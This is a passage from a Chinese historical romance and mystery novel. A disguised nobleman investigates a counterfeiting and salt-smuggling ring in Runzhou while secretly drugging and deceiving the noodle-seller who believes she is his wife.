萍萍赶紧顺台阶下：“好、好，我去煮。” “家里排骨还有么？”柳湛似不经意道，“张记的排骨还挺好吃，没有了可以再买点回来。” “我去买！”萍萍一口答应，拔腿要出门，却又想起，这会肉早卖光了。 “明早买行不行？”她同柳湛商议。 柳湛瞧她猫着的背，微扬的脑袋，深深两个酒窝，忽然有些明白，为何伸手难打笑脸人。 但他也只心软了须臾，就重硬起心肠：“行，但你有钱吗？” 他从袖袋里掏出一张百文交子，交给萍萍。 萍萍越发觉得柳湛是嘴硬心软，冲他笑了又笑：“明天我保管给你把肉买回来。” 她没忘记柳湛的吩咐，说完就进厨房煮面。俄顷，柳湛也进来，接水泡药。 萍萍脸对着锅偷笑，官人骂归骂，但现在还是蹲下来给她煎药。 今晚依旧是两碗小排面，只一碗加葱。 夜里床。上，柳湛再次睁眼——萍萍的小腿又搭上他小腹。 这回柳湛没有坐起横剑，依旧保持侧躺朝外，背对萍萍的姿势，他一只手按着袖里剑，另一只手捉住她脚踝，把腿挪下去。 …… 日子一日又一日重复地过，子出摊，卯收工。 柳湛帮着收拾炉子，萍萍边叠帕子边商量：“待会我们先去张记买肋排，再回家。” 柳湛淡道：“你去吧，我有些乏，想先回家。” “你怎么了？哪里不舒服？”萍萍心一下揪紧，“要不要请脉？” “无甚大碍，回去打个盹就好。” “那你别再这收拾了，赶紧回去！” 柳湛竟不客气，放下炉子就走了，剩萍萍一个人，放帕理盆，熄灭炭火，而后才拉着洗面汤车去张记。 大半刀手都在忙，只有小叶并另外一个刀手闲着，望见萍萍，打招呼：“萍娘子！” 旁的刀手闻声陆续抬头，也打招呼。 萍萍一个名字一个名字问好，又问：“小叶哥，还有没有六对的肋排？” 一头猪有十四对肋骨，前面的连带了颈肉，后头的柴，只有中间六对细嫩。 “刚好还剩两块。”叶刀手从钩上取下一块，“这块好，上回我们东家送你的就是这种，拿回去烧小排，煨汤都好吃。” “就要这个，多少钱？” 刀手用秤称重：“六十文。要不要剁？” “能剁最好，谢谢小叶哥了。”萍萍觉得柳湛给的那张交子面额偏大，便想自己凑六十文给了，哪知翻来找去只有四十一文铜板，还得用那张交子：“没有零的，麻烦小叶哥找了。” “跟我客气什么。”刀手回着萍萍的话，却往她身后瞟，萍萍再看左右，发现旁边的刀手，买肉的娘子和小厮们，目光也聚在她身后。 怎么了？ 萍萍疑惑转身，睹见裴小官人站在她身后三步距离，莲瓣玉冠，荼白鹤氅，人比雪皎。 “裴小官人。”刀手招呼。 裴小官人笑笑，往摊位走，萍萍垂着脑袋让到一边，听刀手剁排骨，啪啪直响。 油纸包好，刀手再数四十枚铜板给她：“喏，你点一点，是不是四十文。” “不用点了，您我信得过。”萍萍收货收钱，放到车上，调头就走，裴小官人随即叫住她：“萍娘子。” 萍萍脚下一顿，板起脸回看，见裴小官人正面对她，还伸了右臂，悬在空中。 他的气色好像比以前更苍白，却还是挤出笑，柔声询问：“在下有几句话想同娘子讲，能否借一步说话？” 萍萍心一狠：“不行，我官人还在家等着我呢。” 说完回正脑袋，拉车快步离去。 与此同时，萍萍家中。 蒋望回正将袁未罗、蒋音和找的零钱呈给柳湛，有交子有铜板，皆混假。钱：“是张记的刀手找的。” 柳湛抬手，示意蒋望回收好。 “张记属下查得八。九不离十，郎君若是有空，可与属下同走一趟。” “就今晚吧，此事易早不易迟。”柳湛旋即接话，“你身上还有蒙汗药吗？” 蒋望回昨晚进张家，有几头猪没吃饱叫得厉害，给它们用了点蒙汗药：“还剩大半包。”他以为柳湛也要药猪，“我待会再去备些。” “不必。”柳湛抬手讨药。 蒋望回呆了须臾，递上蒙汗药，柳湛收好：“她快回来了，你速去。” 蒋望回拱手应喏，接着纵身翻过院墙，消失不见。 过了会萍萍就到家，柳湛上前接车，萍萍先把排骨吊井里保存，轱辘转动，吱吱呀呀，萍萍笑道：“这轱辘老了，得修修了。” 柳湛瞥着井底：“这块排骨多少钱？” “六十文。”她主动道，“你给的那张交子太大，我本来不想麻烦人家，但身上铜板只有四十一文，还是用了你那张交子。” 柳湛心想真是得来全不费工夫：“找的零呢？” 萍萍会错意，用肘拐了他一下：“不会少的！小叶哥一个铜板一个铜板数给我的。” 说着就把钱摊出来给柳湛看，柳湛也笑，先飞快瞟了眼被她拐着的胸膛，又瞧铜板，一顺扫过——全是真钱。 张屠倒是不坑近邻。 “明天别出摊了。” 萍萍分唇，正要问为什么，柳湛低头主动看向她，神色温柔，笑意欲深：“我们早点准备开铺子。” 剑眉凤眼，此刻他是如此俊逸，萍萍盯着柳湛眸子，好似一汪幽潭把她吸进去，不由痴了。 还是柳湛抬手在萍萍眼前摆了摆，她才回神。 萍萍正好下午得空，就拉柳湛去看铺子，才逛第一间，柳湛就说挑的这间正好，帮她买下来。 “阿、阿湛，我、我……”萍萍张口结舌，原本打算租的。她灵光一闪，心头骤紧：“你没干什么犯法的事吧？” 柳湛没料到节外生枝来这么一出，但他脑子转得也快，风淡云轻笑道：“违法没有，但身为护卫，出生入死，掉脑袋的事常干。” 萍萍听着心疼，不知官人身上有多少伤？知他不愿掀衣，无法查看，萍萍只能挽上柳湛胳膊：“别干了，往后我们经营铺子，过安生日子。” 柳湛觑眼胳膊，犹豫片刻，没有抽手，但晚上他还是扯个由头引开萍萍，然后果断在那碗没加葱花的面里下光整包蒙汗药。 是夜，子时。 柳湛特意换了墨袍皂靴，出门后蒋望回果然等在墙外，递上乌黑帕巾，遮蔽面目。 二人一道潜入，一落地，蒋望回便道：“郎君随我来。” 说着跃上屋顶，柳湛见状跟上，瓦上速走，轻无声音，到目的地柳湛随蒋望回落下，一看前面是猪圈，顿时蹙眉：“怎么又是猪。” 蒋望回贴墙挪步，小心谨慎：“它们夜里熟睡，郎君莫忧。” 柳湛不由自主想起某人药倒后的睡相，一刹神游，察觉异样，硬生生拉回神魂，低头望脚下，一圈防人的铃铛。 柳湛和蒋望回皆熟稔跨过铃铛，不发一点声音，猪圈深处的机关对他们来说也是小菜一碟，很快开门下到密室。 蒋望回点起火折子，印版钱模，刚印好的伪。钞铜钱都明晃晃摆在桌上，还有一顶熔炉，半屋待用川纸母钱。 柳湛上前捏起印版来看，蒋望回在旁举着火折子：“属下就是一直没有搜到账本。”柳湛放下印版，蒋望回追上，“会不会张屠是个粗人，伪钱和私盐都不记账？” 柳湛不语，走到那一捆捆川纸前翻找，蒋望回怕火撩纸，把火折子往身后举。柳湛抽出一捆放到桌上，解开，拾起面上那张，蒋望回忙将火折凑近，川纸细看，中央巴掌见方有淡若黑烟的楷字： 收金山寺一百斤银二十二两 收定慧寺二十斤三百文 收吴二九 五斤六百二十文 …… 柳湛放下账目，指在纸上轻点 ，三斤就治杀头的罪，这一共多少斤？ 他吩咐蒋望回：“收好。” 正准备再找伪钱账目，忽与蒋望回同时望向入口处，蒋望回立马吹灭火折子，躲于炉后，柳湛则藏到垒砌的川纸后面。 张屠提灯，蹑手蹑脚下来。 柳湛和蒋望回俱在暗处，不曾对视，却等张屠一走到桌前，就不约而同跃起，左右夹击。 “谁？”张屠大惊，“你们是谁？谁派来的？” 张屠很快镇定下来，放下灯笼，拔出腰间挂的杀猪刀：“天堂有路你不走，地狱无门闯进来！” 柳湛抽袖里剑应对。蒋望回身上无剑，但飞花摘叶皆可伤人，二指夹起假铜钱，朝张屠掷去。张屠在杀猪匠里算力气大，刀法好的，但比之柳蒋二人，还是钩金舆羽，悬殊甚大，没几个回头就被生擒。 张屠头硬：“杀了我，你们今天也走不出去！” 蒋望回反剪张屠，押他跪地，回想交手时张屠俱是取性命的杀招，忍不住回呛：“还想杀人灭口？伪钱私盐，你可知两样都是杀头的重罪？” 张屠咧嘴：“反正都是死，多一样我更赚。” 这人好不要脸，蒋望回嚅唇不知再怎么呛，柳湛轻轻拍了下蒋望回胳膊，前迈半步，咫尺之遥，俯瞰张屠，笑道：“老丈，您未必会死。” 张屠蹙眉，这声音好熟悉：“你究竟是谁？” 柳湛眺了眼蒋望回，蒋望回旋即掐开张屠嘴巴，喂下一颗滑溜溜直滚到肚的药丸。 “你们喂我吃什么？”张屠挣扎，却被蒋望回按得死死的。 柳湛等了会，估摸药丸已在化了，才拉下皂帕，朝张屠拱手，躬了躬身：“在下想劳烦老丈引荐，也发两笔横财，”他直起身子，“作为感谢，某不仅可保老丈不死，还可以每隔七日，准时奉上一枚解忧丸。” 张屠认出他是谁了，冷笑：“呵呵，造伪者处死，三斤砍头，你怎么保我？” 柳湛噙笑：“钱可通神。” 张屠想了许多，终硬直脖颈：“要杀便杀，要剐便剐！” 他不答应。 柳湛似极有耐心，脸上仍挂淡笑，语气也依旧温和：“某看过户籍，晓得老丈的顾忌。” 张屠缓缓仰起头，紧盯柳湛。 柳湛夸道：“家中囡囡，着实可爱。” “你、你！”张屠下意识挣扎，“别动我女儿！” 被摁了一阵子后，张屠突然变得极安静。他抿着唇，睁大眼注视柳湛，良久，开口：“好，我答应你。” 柳湛颔首：“我与老丈交谈甚欢，心合意同，谋无不成。” 张屠的嘴角抽了又抽，半晌，他突然再次抬头去锁柳湛目光。柳湛见状便成全张屠，撩起眼帘与他四目相对。 张屠两颊紧绷，用无比笃定的语气，一顿一顿咬字道：“你、不、是、萍、娘、子、的、官、人。” 萍娘子的官人不会是这种人。 柳湛顷刻敛笑。 密室内静得出奇，掉针可闻。 张屠之前落地的灯笼正照柳湛脸上，恍得他不自觉眨了下眼，继而避开张屠目光。 张屠一字一句又问：“你这样欺骗萍娘子，就不怕遭报应？” 第25章 第二十五章 官人你待我真好 蒋望回突地踢了张屠一脚：“行有不得反求诸己， 你作伪犯私，丧尽天良，才是重重报应！” 张屠又勾嘴角：“我丧什么天良？我的钱大伙又不是用不出去， 我的盐比公家便宜许多。” 这人怎么颠倒黑白？蒋望回嚅唇， 柳湛以为他又要动手， 拦了下：“唉，不可怠慢老丈。”他低头：“老丈何时带我们去买？我看天色将亮，您看如何？” “他今天不在。”张屠脱口回绝， 但见柳湛含笑， 却又想起高堂老母，和一个四十好几才得来的独苗女儿， 呼气，改口道：“不管在不在，我都带你们去。” * 早上，润州城南，远远见高低不一的莲花棚、牡丹棚，闻丝弦喝彩。 蒋望回脸色一变，怎么带他们来瓦子？ 他在张屠耳边低语警告：“别耍花招。” 张屠一勾嘴角：“二位的功夫我领教过， 哪里敢呢。” 才刚开张， 零星闲人， 皆锦衣华服， 光鲜亮丽的男子，并些许商贩。 走了许久，才见唯一一个女人， 对襟衫青玉冠，没有喉结却作小郎君打扮，被她夫君护在身前。 蒋望回即刻别首， 柳湛却瞧着微微一笑。 仨人再往里，棚内正演《打花鼓》，才刚到艳段，副末色捉弄副净色，逗台下捧腹，哄笑声此起彼伏。 张屠并未挤进人群，只在最后面看，柳蒋立他左右，张屠不主动开口，二人也不逼问。待一场杂剧演完，台上的副末色下台，周遭无人，张屠才领二人迎上。 张屠介绍副末色：“这位是双双娘子。”又引荐柳湛，报上柳湛教他说的来历：“这二位杨小官人，是我远方表亲，也想入门。” 那副末色个头中等，身形消瘦，簪花罗帽对襟衫，腰后头别个书有“末色”的蒲扇。柳湛细看副末色样貌，粉面红腮化着好几层，根本看不出本来面目。 副末色对上柳湛视线，微一福身：“双双见过二位大官人。” 声音和台上演戏时一样，既甜又脆。 柳湛躬身回礼，直起身后手仍拱着：“小可不才，也想做这门营生，还望娘子赏脸，指点门路。价钱都好商量。”他将嘴角旋高，眼眯起来，眸也浑浊，掏出一锭金递给双双，“一点心意，娘子笑纳。” 双双笑看柳湛再瞟张屠，复又瞥回柳湛，直到从柳湛脸上觉出人为财死这四个大字，才收下金子。 “你在润州另辟道场，岂不抢我们老丈生意？”双双以袖掩口，笑问柳湛。 “不敢抢，”柳湛也笑，连摆手时，面上也是讨好神色，“互不打搅，我自去应天府经营。” “应天府？” “实不相瞒，”柳湛复拱手，“小人祖上开封府人，早年搬来应天，但家中仍讲官话。” “哪一年搬来？” “庆丰九年。” 双双又问些应天府风土人情，柳湛对答如流，她才勉强应下：“奴也只是个传话的，这样吧，成与不成，三日后都给你们消息。” “娘子辛苦。”柳湛拱手道谢，却恍恍惚惚地想，也曾这般一问一答考验过谁，心跳莫名其妙慢了一下。 直起身时，心跳已恢复如常。 辞别双双娘子，离开瓦舍，柳蒋二人也同张屠分道扬镳。 柳湛和蒋望回踱步背街小巷子，弯弯绕绕，不多时冒出两、三小闲，脑袋凑到一处：“咦，人呢？” 前方空巷无人，不见柳蒋二人踪影，跟丢了！ 远处屋顶上，蒋望回正向柳湛辞别：“郎君，那我去了。” 柳湛点头，二人身影分别消失不见。 蒋望回怕误事，全力运起轻功，好在双双刚吩咐小闲也耽误时间，仍在瓦子里。蒋望回赶上时，双双还别那把蒲扇，妆也没卸，正背手往左巷溜达。 蒋望回跟了一会，才惊觉街两边皆挂烟月牌，不由耳廓透红，脚下顿住。 还是得跟！ 蒋望回睁大眼稳住心神，重新追上双双。 这行首人家，家里家外皆香，墙外迎春，墙里杏花。 双双进入中央一间，问过虔婆，蒋望回在顶上听见些“怎么今日来”，“大官人正好在”，“劳烦妈妈通传”之类，不一会，双双挑起青布幕并斑竹帘，进了里间。 蒋望回赶紧跃至里间顶上。 碧纱窗内，摆放许多古董，并一只四折金漆螺钿屏风。屏风前博山炉袅袅青烟，双双娓娓道来。 良久，屏风内男女欢笑才止，男子懒洋洋开口：“跟他们说，七七四十九日，备三百金，首批只给一百文的印板并五十张川纸。”男子顿了顿，“还是老样子，对方只许派个女的来交钱接货，旁人不得跟随。要是我晓得多了一个人，这生意便没得做！” “三百？”男子身边一左一右，应该各有一位行首，他刚讲完，就响起娇滴滴女声。 “他是张屠介绍来的，自然比张屠更贵些，到时候母板川纸，又不会短他——”那男子似乎是拍了下行首屁。股，低清一声啪，” 到时候赏心肝一点，还有你——” “谢谢大官人！” “大官人还记得奴家哦，奴还以为，在姐姐面前，大官人眼睛就瞧不见别人了，”另一行首娇嗔，嗓子甜糯，才几字就令人半边酥麻，“大官人，您为何约四十九日，是有什么特别？” 男子沉浸软玉温香，说什么都是随口随性，哪有理由，一时哑然。屏风外的双双及时替男子解围：“姐姐有所不知，母板川纸，得来不易，需要时间准备。再则，‘试玉要烧三日满，辨材须待七年期’，总是要多等一等，考验对方诚意。” “就是！双双说得对。”男子旋即接口，想了想，又吩咐，“双双，要是他们嫌时间太长，可以短些，一个月，不能再少了！” “奴到时候还是先报四十九日。” “你看着办！” 蒋望回顶上偷听，男子声音似乎有些耳熟，他擅长隐匿踪迹，屏息偷听，神不知鬼不觉，却不能穿透瓦墙，看清是谁在说话。 待双双领命离去，蒋望回便在顶上多等了会，想看看是哪个口出狂言，肆无顾忌，可虔婆丫鬟进进出出，就是不见男子出来，反倒是欢笑声复起，蒋望回知道今日等不到了，踮脚躬身，沿顶上横梁撤离。 早起三光，晚起三慌，蒋柳二人去得早，蒋望回回悦来店也早。 巳时一刻，他回到房中，众人都在……殿下怎么也在众人当中？！ 蒋望回旋即思及自己给的那包蒙汗药，又惊一眼。 但还是上前禀报，不误正事：“双双娘子见了她的上峰，要求备三百金，一个月后，会给我们一百文的印版并些许川纸。” 林元舆看向柳湛：“一个月会不会太久了？” 蒋望回旋即接话：“这还是往短了说，对方开口是四十九日。” 柳湛道：“的确太久，到时候可以再压。希颜你继续讲，对方可还提了别的要求？” 蒋望回埋首：“应是怕我们使诈，对方只允一名女主，孤身去焦山接货，说是若被发现旁人随行，生意便没得做。” “他说不做生意就不做生意？”袁未罗立马嗤道，林元舆却捋须：“只怕不止是生意这么简单。” 林元舆知道有些话不必说尽，可就是忍不住想炫一炫，体会那种众人独醉我独醒的感觉：“**私盐都是历律死罪，那帮人亡命之徒，要晓得我们设置埋伏，直接就会动刀灭活口。” 林元舆说完不多久，袁未罗就瞅向蒋音和，接着林元舆意识到失言，也望过去——殿下之前说了，依那群贼人，那便是要派一位女子“孤身赴会”。 他们当中只有蒋音和是女人。 刀剑无眼，纵然最后贼人一网打尽，作诱饵的蒋音和也可能命丧焦山，一去不还。 蒋望回似乎禀报前就已想清楚，扭头看向蒋音和，神色坚毅：“我会护着你，保你平安。” 他已做下危急关头一命换一命的决定。 “不需要音和去。”柳湛淡淡开口，埋伏是一定会布的，但何须如此，“我派萍萍。” “对了怎么忘了她呢？”袁未罗拍大腿，那小娘子代替蒋音和为国捐躯，也算死得其所。 林元舆亦觉这个主意皆大欢喜，蒋音和在他周围叨叨得像只苍蝇，她妒忌的女人一死，就不会天天发疯了。 蒋音和听柳湛亲昵称呼“萍萍”，抓狂酸涩，但到底惧死，忍下委屈，垂头道：“就依郎君所言。” 蒋望回闻言猛地扭头看妹妹，垂着的双手一攥再攥。 等柳湛起身离开，蒋望回追出屋外，跟在柳湛身后走，启唇合唇。 柳湛回头：“有话要说？” 蒋望回再次唇分开了又并拢，再开口道：“那……那包蒙汗药太猛，一人量最多只一勺，再多恐伤身。” “知道。”柳湛回应。 他怎会不晓得药效猛烈？ 但事有轻重缓急，如今萍萍敌我未分，今早查案之事决不可被她知晓。 所以昨晚柳湛毫不犹豫下光一包蒙汗药。 柳湛回家时，萍萍依然昏睡。 他估摸还得一个时辰才醒，便不慌不忙煎药。等药泡好的时柳湛无所事事，环扫周遭，直到扫到面粉袋子，目光缓缓停驻。 半晌，他默默走到面粉袋前打开，按照萍萍所教，煮了两碗清汤光面。 将碗筷摆好，柳湛绕过木桌走到床边，萍萍还在昏睡，侧躺似趴，没有风，烟灰帐幔垂着不飘，遮住她上半身。 柳湛挑起帐帘，瞧清她一侧面颊贴着枕头，右手和右脚却伸到他睡的这半边来，似乎还想搭到他身上，不由莞尔一笑。 这笑声把萍萍惊醒，腾地坐起，太阳正好投一束到床上，萍萍被刺得闭眼。她抬手搭了个阳棚，才缓慢睁大杏眼，看见面前微尘正绕着光束起舞。 萍萍觉得许是睡多了，人醒了，脑袋仍晕，还有点胀，她语气迟钝问柳湛：“现在什么时辰了？” “未时。”柳湛看见萍萍把一撮碎发勾至耳后，手上不自觉将帐帘勾到铜钩上。 “天啦，我这是睡到日上三竿了！”萍萍终于缓过劲来，懊恼自责，“才一天不出摊，我就变得这么懒了。 “你什么时候起来的？” “寅时。” 一起入睡，官人就能早起，只有她懒，萍萍愈发羞愧：“你是不是已经吃过了？” “早上吃了中午等你一起。”柳湛柔声回应，萍萍视线越过他肩头，望见桌上的面，药也煎好摆在一起。 官人不仅没有责备她一个字，还料理好了一切。 萍萍情不自禁牵起柳湛的手，五指滑过他指缝：“官人你待我真好。” 柳湛笑笑。 第26章 第二十六章 仁至义尽 * 人流攒动的街道， 当中围着一圈百姓，中央的伎艺人正踮脚伫立竿尖，仰面吐出一道烟火。 “好！” “好！” 人群一阵喝彩。 “让一让， 让一让——”一辆车厢颀长的马车经过， “过车！” 马夫站在车轼上甩鞭子：“不去瓦子里演， 在这堵路！” 众人让出一条道，马车擦着挪过。这类车润州人称呼“长车”，车主人赶马沿街招揽乘客， 随叫随停， 提供代步。后面长长车厢没有厢墙，只三面栏杆， 十几个人露天坐在车上，腿不得不垂出栏杆外，其中就包括带笑的萍萍，和脸色阴沉的柳湛。 柳湛是第1回 坐长车，萍萍坐得少，却是因为省钱。 昨日起太晚，只能今日去订开店用的桌椅， 萍萍坚持要去官塘桥买， 横穿大半润州城。 街上总有人瞥长车， 柳湛不自在， 低头别首，却冷不丁瞟见街对面就有家鲍家营造，门后面一晃而过全的桌几。 柳湛敛笑问萍萍：“你为何要到那么远的地方买？” “便宜呀！” “那里便宜。” 长车上几人都听见问话， 和萍萍一起回答。 “跟买肉都要到朱方巷一样，订木工一定要去官塘桥，比别处便宜许多。”萍萍扳指给柳湛算账， 哪怕加上车费，也比别处买便宜一半。 “你娘子会过日子。”一婆子跳下车前特意给柳湛说。萍萍也听见，脸上一烫，偷瞧柳湛，许是车轱辘转动声响巨大，柳湛依然目视前方，并没有听见。 到官塘桥，长车只剩下他们两位乘客。车夫笑道：“成二位的专车了！” 萍萍会意，下车时多给了两枚铜板，柳湛看在眼里，心道她有时候挺心细的，怎么有时又大大咧咧？正想着臂上一热，萍萍挽住他的胳膊：“这一条街都是营造铺子，我们先逛一遍，再做打算，好不好？” 柳湛环视周遭，应该不会遇见熟人，便任由她挽着。看过十七、八家，原先心中有数的萍萍反倒乱了主意：“样样都好，我都挑花了眼，官人，我们到底订什么木头好？” 柳湛寻常用檀，再不济狸斑的黄梨、金丝的楠木，但萍萍瞧过的店里，没有这几样。 “你喜欢什么就用什么。” 他回道，却见萍萍蹲下来翻看木头，原先舒展的两眉深深蹙起，又想她逛了这么久，到这家才问意见。算算，这家价格是最公道，应该是想定下吧？ 柳湛改口：“实在做不了决断，就选铁力木吧。” 刚才听过店主人介绍，这种木头不易虫蛀，应该会经用些。 “好那就用铁力木。”萍萍去和店家商量桌椅尺寸，回头又咨询柳湛意见，“阿湛我们打四张桌还是五张？” 柳湛设想了下，屋内摆四张，将将好，再多走道窄了，但是萍萍期望多些客人，那就再在铺子外面多摆一张，然后搭顶阳雨两用棚。 “五张吧。”柳湛说完才意识到自己在认真思考，明明可以像之前那样，回个“都行”，“随你”。 他两排牙在合着的唇里暗咬了下。 订完桌椅有工期，十日后方能取货，二人走出店铺已至卯午，萍萍提议：“官人，时候不早，我们就在这附近吃点吧。” 风大，一丝碎发扫到柳湛脸上，他拈开，用漫不经心的语气回答：“随你。” 她麻利扫了一圈，街对面支的帐篷下架着热腾腾炉灶，挂着块“鱼汤馄饨”的招牌，这个点，两张饭桌已坐满一张。 “这边也有鱼汤小馄饨！我们就吃这个吧？” “都行。”少倾，柳湛补充，“晚上再回家吃。” 萍萍应了声好，就往街对面走，路上有马车经过，柳湛把她拉回自己身后：“小心。” 车走远，他才松开她，萍萍到了馄饨摊，让柳湛先坐，自己去买：“主人家，来两碗。” “您是要大碗还是小碗？” “两大碗，当中有一碗不要葱。” 煮好馄饨，摊主小本经营，竟连端的木盘都没有，一次只双手捧一碗满汤馄饨来。萍萍见状起身帮忙，也端一碗，前后放到桌上。 桌上面有筷桶，萍萍抽木筷分给柳湛，柳湛却问：“没勺？” “灶台那边有，”萍萍忙起身，“我去要两个。” 她找摊主讨两个瓷勺的间隙，柳湛将自己面前那碗馄饨和萍萍面前那碗调换，等她拿来瓷勺，吞了两个馄饨以后，他才下口。 “今天来不及了，明天去定炉灶。”萍萍浑然不觉异常，又咬了口馄饨，“然后都搞定了我们再买碗筷，到时候再照着尺寸打碗柜。” 柳湛目光时不时偷瞥萍萍，她怎么吃什么都这么香？ “完了！”萍萍忽然惊呼。 柳湛心一慌，虽然知道光明正大看也没什么，但就是担心这会偷看被发现了。 故作镇定，声音不自觉低沉：“怎么了？” 萍萍缩着肩膀，咬了下唇：“我忘了食不言睡不语。” 柳湛心下一松。 “此一时彼一时。”他空着的左手在桌下牵起萍萍的手，“吃吧。” 须臾，又不自觉扭头凝视，只见萍萍舀起第四个馄饨，先放到嘴巴吹一下，再咬，很快吃完，然后端起碗唆汤，放下碗时搓搓手，笑眯了眼。柳湛忍不住也低头舀一个，送入口中，咸淡刚好，肉嫩而不腻，他看见眼前仍未消散的热气，也不由自主弯下眉眼，心想这民间的馄饨是比宫中好吃。 一碗见底，萍萍才继续说话：“我放心不下，还想看看铺子再回家。” 反正从这里回朱方巷会经过铺子，顺道停一会也无妨，柳湛想着应了下来。 他们买的这间铺子，上个租户去年未月就退了租，半年无人用，虽然门窗紧闭，地面和四墙仍积浮灰，人踩上去浅淡脚印。 萍萍忍不住就想回家扎扫帚，做几块抹布带过来：“我来明天来打扫下。” 柳湛却想其实开业之前肯定还要重新除尘，眼下打扫可有可无，但宫中日日一尘不染，她有这个习惯倒也还好。 柳湛没有深究自个想法，只是心里高兴，旋起嘴角。 翌日，他还真抗一把扫帚，随萍萍来除尘。 她在地上扫，他跃起扫房梁和顶上的，想到灰会簌簌落下，柳湛朝下吩咐：“你先让开。” 萍萍听话退到门边，仰头看柳湛三下两下扫掉屋顶那几蛛网，梁上如履平地。 柳湛无意低头，瞟见萍萍在盯着自己，心道：是以为他不会煮面，所以也不会扫地？那真成梁上君子了。 “怎么，以为我连这个都不会吧？”柳湛笑问。 萍萍摇头。 “从前家里都是你扫地，”她说“你说一屋不扫何以扫天下。” 这话说到柳湛心坎上，哈哈大笑，正好顶和梁都已扫完，柳湛执帚一跃而下，袍角扬起，头上那根玉簪正照阳光。 萍萍目不转睛，微微分唇，这可真是一幅画。 柳湛下落时以为萍萍会退，哪知她呆呆杵在那里，以至柳湛落地之处，只与萍萍隔半身位，柳湛一开始还在笑，渐渐就觉气氛不太对，呼吸重起来。 他好像也被地板黏住了脚。 萍萍挪脚，朝柳湛再近些。 “汪！”外头一声狗叫，柳湛骤惊，既后退又侧身，一刹离得好远：“怎么外头还有狗？” “我瞧瞧。”萍萍离门近，转身开门，一只长毛流浪狗对她摇尾巴，柳湛一过来，那狗就跑不见了。 上回来买铺子好像也见过这只狗，萍萍有些印象。 柳湛不以为意，转身继续扫地，萍萍见状也去铺子另一边扫。两块抹布，一人一块擦窗，天阴着灰蒙蒙，打扫完也不知什么时辰，反正没到晚上。 铺子离朱方巷不远，不用再搭长车，两人步行回家。路边上瞧见支了张桌，一戴青布履的男子坐在桌后，旁边挑着“谈天讲命，十文一卦”的招子，萍萍已经走过去了，仍回头望。 柳湛随之眺去：“怎么，想算卦？” “我想算算哪天开张好？” 命由己定，柳湛压根不信这些，但他擅卜，就像上回那个法王，有时候必须装神弄鬼，才能谋得所求。 柳湛不说自己擅长，只道：“你想算就算吧。” 萍萍挽着他的胳膊折返，向算命先生说明来意，先生给予三枚铜钱，让爻六次，柳湛看在眼里，离火震木，是一火雷噬瞌。 他默不作声，任那算命先生说：“用神动而逢合，冲掉忌土，恭喜娘子，您的铺子能赚大啊！” “呈老丈吉言，那您帮我再看看，挑哪天开张好？” “丑日冲世爻主进财，为吉，但下个丑日是四绝日，下下个四离，也不行……”算命先生对查黄历，指尖一跃再跃，就到了四十日后，“下个月，下个月己丑日开张好。” 萍萍仰头看柳湛，他不置可否，萍萍心一横：“那就这样定了！” 到家已经天黑，药柳湛早上就已煎好，喝过一回。余下这碗晚上喝的，萍萍刚端起碗，柳湛就她在身后问：“你不热一下？” 话音落地时萍萍已经一饮而尽。 “不是很冷，就这样喝吧。”萍萍心急着急做饭。上回邻里二两二两送的肉，还余一些五花，再不吃放不住了，她自作主张烧了五花，煮了米饭，又炒芥蓝，指挥刚洗完菜的柳湛把五花肉端进屋里。 柳湛将五花肉放到桌上。明日就是第三日，要去瓦子见双双娘子，原本打算趁着晚上温药，将蒙汗下在萍萍药里，哪知她喝那么快，只能把找蒋望回新拿的这包药下进红烧肉中。 晚饭时，红烧肉柳湛一筷没碰。 萍萍留意许久，忍不住关切：“官人，今晚的菜是不是不合你胃口？” 柳湛蹙眉：“肉太肥了。” “我的错，该把肥肉剃掉的。”萍萍旋即认错，却也锁起双眉，记忆里官人没这么挑食。 眼见柳湛只夹剩下那盘芥菜，萍萍起身想再去炒几个菜，柳湛看穿意图，胳膊越过桌面拉住她：“算了，今日茹素。” 萍萍心里一软，官人这么体谅她。如果她刚才不问，官人是不是就默默吃一晚上芥蓝，连原因都不会说？ 她心里越发过意不去，吃完主动承担起洗碗家务，柳湛要分担，她按着柳湛坐下：“你歇息，歇息。” 因为柳湛没动筷子，萍萍一个人吃不完整缸红烧肉，缸底剩着八、九块，浸在褐色汁水里。 吃不下，舍不得，萍萍就想反正明天还要去铺子，不如带给那只流浪狗吃。 她换了个小碗装余下的肉，收进带纱罩防老鼠的柜子里，盘子则洗干净和一摞常用的碗盘一起垒台面上。 萍萍忙完就去洗漱，柳湛依旧避嫌，退到门外，他朝厨房望了一眼，缓缓走进来，环视一圈，目光在台面那摞盘子上停驻片刻才移开。 柳湛回房时，萍萍已经昏睡。 他瞥了一眼便离开，先到悦来店沐浴小憩，等天亮再和蒋望回一到去见双双，果如蒋望回所言，约定的地点、条件都一样，柳湛还以为双双会雁过拔毛，要个四、五百金，哪知她一五一十报了那男子定的价钱——三百金。 柳湛不由挑眼皮多瞥了双双一眼，发现双双也正眸色深深打量他。 柳湛噙笑，双双也微微颔首一笑。 她摇起那把末色蒲扇，边角有些破了：“二位小官人不晓得，四十九日真的是往短了估了，又要做那什么板，还要备那什么纸，得来不易，好费功夫！” 双双笃定柳湛会讨价还价，提前堵嘴，却怎料柳湛干脆应允：“好。” 就四十九日。 又问：“倒时如何联系娘子？” 双双娘子摇扇的手一滞，很快恢复原样：“会有人拿着我这把扇子在码头接应，见扇如见人。” …… 分别后，柳湛照例让蒋望回跟踪双双。 卯时白日，里间鸳鸯灯仍亮着转动，晃到碧纱窗上，成一个又一个模糊的光圈。 双双在内禀报：“大官人，那姓杨的已经应了。” 男子正贪芙蓉帐暖，应了一声就哄双双出去，蒋望回原以为蹲守无望，正准备撤，却见虔婆领一小厮匆匆跑进院内，小厮未进里间，只在门口就火急火燎喊：“大官人，老爷子晓得您来了润州，正找您呢！” 男子不一会出来，手上还匆匆系着腰带，蒋望回匍匐顶上偷觑，觉得男子眼熟，一路跟随，男子整冠理袍，人模人样进了胡府，就是开伞宴的胡忠恕府上，他一眼认出来。 想起来了，男子就是胡忠恕那个义子，名字记不得了，还曾引荐到林元舆面前。 蒋望回先查清楚这人名姓，捋清脉络，才回悦来店禀报：“郎君，此次润州一带，私盐并伪钱案主谋，乃淮南东路茶盐司提举杨廉，胡忠恕的义子。” “什么，是他？”袁未罗最先反应过来，囔道，“茶盐司，那是不是他的茶也有问题？” 蒋望两眉深锁：“郎君，淮南东路……” 他还未说完，就被蒋音和打断：“一路提举，就敢手眼遮天！” 音和不明白他的意思，蒋望回心底叹气，看向柳湛，仅对视一眼，就笃定郎君明白。 既然郎君已有定夺，那便不用把话说尽了，蒋望回阖上唇。 